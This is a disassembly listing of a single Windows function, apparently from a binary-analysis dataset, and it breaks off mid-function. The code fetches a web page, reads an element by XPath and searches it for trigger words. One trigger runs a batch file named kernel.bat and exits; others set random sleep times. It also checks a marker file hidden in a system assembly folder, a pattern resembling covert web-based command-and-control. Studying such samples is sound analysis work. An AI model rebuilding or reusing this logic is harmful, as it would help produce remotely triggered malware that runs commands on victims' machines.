Function at 0x405da5
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7d8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x618], 0
lea rax, [rbp + 0x61d]
mov rcx, rax
call fcn.00407aa8
lea rdx, [rbp + 0x61d]
lea rax, [rbp + 0x5f0]
mov r8, rdx
lea rdx, str.https:__mnca_company.com
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x61d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [sym.imp.libcurl.dll_curl_easy_init]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
jne 0x405e46
lea rdx, str.Failed_to_initialize_CURL.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x40719e
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.004079f0
lea rax, [rbp + 0x5f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x730]
mov r8, rdx
mov edx, 0x2712
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_setopt]
call rax
mov rax, qword [rbp + 0x730]
lea r8, [sym.writeCallback_void__unsigned_long_long__unsigned_long_long__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____]
mov edx, 0x4e2b
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_setopt]
call rax
lea rdx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x730]
mov r8, rdx
mov edx, 0x2711
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_setopt]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_perform]
call rax
mov dword [rbp + 0x72c], eax
cmp dword [rbp + 0x72c], 0
je 0x405f34
lea rdx, str.Failed_to_connect_to_the_website._Trying_again_in_5_seconds...
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
call sym.checkElementExistence__
mov ebx, eax
jmp 0x40718f
lea rax, [rbp + 0x5d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov r9d, 0x860
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_htmlReadDoc]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
jne 0x405fb5
lea rdx, str.Error_parsing_the_document
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
call sym.handleInboxLogic__
mov ebx, 0
jmp 0x40718f
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathNewContext]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov rdx, rax
lea rcx, str._html_body_footer_div_div_div_2__div_3__div_p
mov rax, qword [sym.imp.libxml2.dll_xmlXPathEvalExpression]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
jne 0x406064
lea rdx, str.Error_evaluating_XPath_expression
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeContext]
call rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlFreeDoc]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
call sym.handleInboxLogic__
mov ebx, 0
jmp 0x40718f
mov rax, qword [rbp + 0x710]
mov rax, qword [rax + 8]
test rax, rax
je 0x406085
mov rax, qword [rbp + 0x710]
mov rax, qword [rax + 8]
mov eax, dword [rax]
test eax, eax
jg 0x406102
lea rdx, str.No_element_found_under_the_specified_XPath.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x710]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeObject]
call rax
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeContext]
call rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlFreeDoc]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
call sym.handleInboxLogic__
mov ebx, 0
jmp 0x40718f
mov rax, qword [rbp + 0x710]
mov rax, qword [rax + 8]
mov rax, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlNodeGetContent]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
jne 0x4061b7
lea rdx, str.Failed_to_retrieve_the_content_of_the_element.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x710]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeObject]
call rax
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeContext]
call rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlFreeDoc]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
mov ebx, 0
jmp 0x40718f
lea rax, [rbp + 0x61e]
mov rcx, rax
call fcn.00407aa8
lea rcx, [rbp + 0x61e]
mov rdx, qword [rbp + 0x700]
lea rax, [rbp + 0x5b0]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x61e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, str.Element_content:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x5b0]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x618]
mov rcx, rax
call sym.DLC_abi:cxx11__int_
lea rax, [rbp + 0x61f]
mov rcx, rax
call fcn.00407aa8
lea rdx, [rbp + 0x61f]
lea rax, [rbp + 0x570]
mov r8, rdx
lea rdx, str.C:_Windows_Microsoft.NET_assembly_GAC_64_Microsoft.GroupPolicy.AdmTmplEditor_v4.0_10.0.0.0__31bf3856ad364e35_Microsoft_cv.txt
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x61f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov dword [rbp + 0x56c], 0
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x380]
mov r8d, 2
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x380]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::is_open__
test al, al
je 0x406396
lea rax, [rbp + 0x380]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x190]
mov r8d, 8
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::is_open__
test al, al
je 0x406351
lea rdx, [rbp + 0x56c]
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::istream::operator___int_
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
lea rdx, str.Number_read_from_file:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x56c]
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x406385
lea rdx, str.Unable_to_open_file:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x570]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
jmp 0x4063ca
lea rdx, str.File_not_found:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x570]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x5b0]
mov r8d, 0
lea rdx, str.dreams
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x406463
lea rdx, str.The_word_dreams_found._Running_Windows_kernel.bat...
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
call sym.createFiles__
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:Windows_kernel.bat
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sym.exit
lea rdx, str.dreams_do_not_match._Continuing_process...
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov dword [rbp + 0x74c], 0xa
mov dword [rbp + 0x748], 0x14
lea rax, [rbp + 0x5b0]
mov r8d, 0
lea rdx, [0x004100eb]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x40671e
lea rax, [rbp + 0x5b0]
mov r8d, 0
lea rdx, [0x004100eb]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0xffffffffffffffff
je 0x40671e
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x40655d
mov rax, qword [rbp + 0x740]
lea rdx, [rax - 1]
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator___unsigned_long_long_
movzx eax, byte [rax]
movsx eax, al
sub eax, 0x30
cmp eax, 9
jbe 0x406556
mov rax, qword [rbp + 0x740]
lea rdx, [rax - 1]
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator___unsigned_long_long_
movzx eax, byte [rax]
cmp al, 0x3a
jne 0x40655d
mov eax, 1
jmp 0x406562
mov eax, 0
test al, al
je 0x406570
sub qword [rbp + 0x740], 1
jmp 0x406503
mov rax, qword [rbp + 0x740]
cmp rax, qword [rbp + 0x6f8]
jae 0x40671e
mov rax, qword [rbp + 0x6f8]
sub rax, qword [rbp + 0x740]
mov rcx, rax
lea rax, [rbp + 0x190]
mov r8, qword [rbp + 0x740]
lea rdx, [rbp + 0x5b0]
mov r9, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rdx, str.Time_before_am:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x190]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x190]
mov r8d, 0
mov edx, 0x3a
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char__unsigned_long_long__const
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0xffffffffffffffff
je 0x40670f
lea rax, [rbp + 0x620]
mov rcx, qword [rbp + 0x6f0]
lea rdx, [rbp + 0x190]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x620]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoi_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov dword [rbp + 0x74c], eax
lea rax, [rbp + 0x620]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0x6f0]
lea rcx, [rax + 1]
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x190]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x640]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoi_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov dword [rbp + 0x748], eax
lea rax, [rbp + 0x640]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp dword [rbp + 0x74c], 0
jle 0x4066d9
cmp dword [rbp + 0x748], 0
jg 0x40670f
lea rdx, str.Invalid_time_format
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov dword [rbp + 0x74c], 0xa
mov dword [rbp + 0x748], 0x14
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
lea ecx, [rax + 1]
mov eax, edx
cdq
idiv ecx
mov eax, dword [rbp + 0x74c]
add eax, edx
mov dword [rbp + 0x6e4], eax
lea rdx, str.Generated_sleep_time:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6e4]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._seconds.
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x5b0]
mov r8d, 0
lea rdx, str.seeds
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x406841
lea rdx, str.The_word_seeds_found._Skipping_processing...
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.libxml2.dll_xmlFree]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x700]
mov rcx, rdx
call rax
mov rax, qword [rbp + 0x710]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeObject]
call rax
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlXPathFreeContext]
call rax
mov rax, qword [rbp + 0x720]
mov rcx, rax
mov rax, qword [sym.imp.libxml2.dll_xmlFreeDoc]
call rax
mov rax, qword [rbp + 0x730]
mov rcx, rax
mov rax, qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call rax
mov ebx, 0xffffffff
jmp 0x407153
call sym.Microsofttxtcheck__
mov dword [rbp + 0x6e0], eax
cmp dword [rbp + 0x6e0], 0
jne 0x406d21
lea rax, [rbp + 0x5b0]
mov r8d, 0
lea rdx, str.greatness
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x406b26
lea rax, [rbp + 0x5b0]
mov r8d, 0
lea rdx, str.greatness
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0xffffffffffffffff
je 0x406b04
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x40691d
mov rax, qword [rbp + 0x738]
lea rdx, [rax - 1]
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator___unsigned_long_long_
movzx eax, byte [rax]
movsx eax, al
sub eax, 0x30
cmp eax, 9
jbe 0x406916
mov rax, qword [rbp + 0x738]
lea rdx, [rax - 1]
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator___unsigned_long_long_
movzx eax, byte [rax]
cmp al, 0x3a
jne 0x40691d
mov eax, 1
jmp 0x406922
mov eax, 0
test al, al
je 0x406930
sub qword [rbp + 0x738], 1
jmp 0x4068c3
mov rax, qword [rbp + 0x738]
cmp rax, qword [rbp + 0x6d8]
jae 0x406ae0
mov rax, qword [rbp + 0x6d8]
sub rax, qword [rbp + 0x738]
mov rcx, rax
lea rax, [rbp + 0x190]
mov r8, qword [rbp + 0x738]
lea rdx, [rbp + 0x5b0]
mov r9, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rdx, str.Time_before_greatness:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x190]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x190]
mov r8d, 0
mov edx, 0x3a
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char__unsigned_long_long__const
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0xffffffffffffffff
je 0x406acf
lea rax, [rbp + 0x660]
mov rcx, qword [rbp + 0x6d0]
lea rdx, [rbp + 0x190]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x660]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoi_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov dword [rbp + 0x74c], eax
lea rax, [rbp + 0x660]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0x6d0]
lea rcx, [rax + 1]
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x190]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x680]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoi_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov dword [rbp + 0x748], eax
lea rax, [rbp + 0x680]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp dword [rbp + 0x74c], 0
jle 0x406a99
cmp dword [rbp + 0x748], 0
jg 0x406acf
lea rdx, str.Invalid_time_format
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov dword [rbp + 0x74c], 0xa
mov dword [rbp + 0x748], 0xf
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x406b26
lea rdx, str.No_time_found_before_greatness
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x406b26
lea rdx, str.No_greatness_found_in_element_content
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x50]
mov r8d, 0x10
lea rdx, str.Microsoft.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x190]
mov r8d, 0x10
lea rdx, str.system.txt
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::is_open__
test al, al
je 0x406b85
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::is_open__
test al, al
je 0x406b85
mov eax, 1
jmp 0x406b8a
mov eax, 0
test al, al
je 0x406cdf
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
lea ecx, [rax + 1]
mov eax, edx
cdq
idiv ecx
mov eax, dword [rbp + 0x74c]
add eax, edx
mov dword [rbp + 0x6c4], eax
lea rdx, str.Random_number_between
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x74c]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._and
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x748]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, [0x00410205]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6c4]
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x6c4]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x6c4]
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
lea rdx, str.Random_number
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6c4]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._written_to_Microsoft.txt_and_system.txt
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x406d01
lea rdx, str.Error_opening_Microsoft.txt_or_system.txt_for_writing
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00410890]
mov rcx, rax
